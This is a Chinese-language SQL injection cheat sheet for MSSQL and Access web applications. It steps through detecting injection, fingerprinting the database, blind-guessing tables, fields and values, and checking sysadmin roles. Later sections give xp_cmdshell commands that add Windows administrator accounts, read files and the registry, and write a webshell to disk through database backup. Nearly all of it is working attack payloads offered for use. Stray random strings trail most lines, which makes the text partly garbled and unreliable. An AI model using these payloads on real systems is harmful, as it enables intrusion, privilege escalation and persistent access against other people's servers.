1.判断是否有注入;and 1=1 ;and 1=2 BXyg ?
2.初步判断是否是mssql ;and user>0 eS9uKb5n(
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3.注入参数是字符'and [查询条件] and ''=' <rV3(qb#]J
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Q.Tn"rE|
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5.判断数据库系统 FP=%e]vJ
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;and (select count(*) from sysobjects)>0 mssql -bT1Qh
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;and (select count(*) from msysobjects)>0 access >AI65g
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 \?A 7{IY
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 +c!v%uX
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Ge=+0W)&
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9.(1)猜字段的ascii值(access) YNV4w{>FD
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 -@f5d
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 n5h4]u
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10.测试权限结构(mssql) wd&Tf
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0w[#`
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- -)_"7}|u5
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R+Q..9P
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- $2N)m:X0
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $A"C1)d;
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;and 1=(select IS_MEMBER('db_owner'));-- vU(2[
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11.添加mssql和系统的帐户 T 2Uu/^
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;exec master.dbo.sp_addlogin username;-- \D
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;exec master.dbo.sp_password null,username,password;-- d'Cn] <
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- xx[XwN;
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;exec master.dbo.xp_cmdshell 'net user username password >drG,v0qh
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1yHlBeEC
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Lh eOGM
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12.(1)遍历目录 X6hm,0[
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;create table dirs(paths varchar(100), id int) jx*jYil
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;insert dirs exec master.dbo.xp_dirtree 'c:\' prJ]uH,
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;and (select top 1 paths from dirs)>0 |]s/NNU
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #m
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 2VB|a;Mo
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 V 5ve
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 T'W)RYnwl
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^r4@C2#vzJ
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 c*fMWtPp
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13.mssql中的存储过程 >"Tivc5
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xp_regenumvalues 注册表根键, 子键 V?_:-!NJ(
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 i-kj6N5
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xp_regread 根键,子键,键值名 NoSq:e
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 $_ &Lp\
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xp_regwrite 根键,子键, 值名, 值类型, 值 H]zi>;D
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 $G\IzK
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xp_regdeletevalue 根键,子键,值名 H{tG:KH
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 F' NX
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 /Soc,PjZ
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14.mssql的backup创建webshell 0`=>/Wr39
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use model q3_ceXYU
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create table cmd(str image); ;$il_xA)\>
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insert into cmd(str) values (''); +VE]
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backup database model to disk='c:\l.asp'; vV( ?A
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15.mssql内置函数 ^KlW"2:
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;and (select @@version)>0 获得Windows的版本号 OV.f+_LS
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa @,9cpaL3
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;and (select user_name())>0 爆当前系统的连接用户 9 SBVp6'
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;and (select db_name())>0 得到当前连接的数据库 ^!FLi7X
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16.简洁的webshell l,lfkm
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use model grs~<n|o\
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create table cmd(str image); V_Xq&!HN[
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insert into cmd(str) values (''); mne?r3d
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backup database model to disk='g:\wwwtest\l.asp';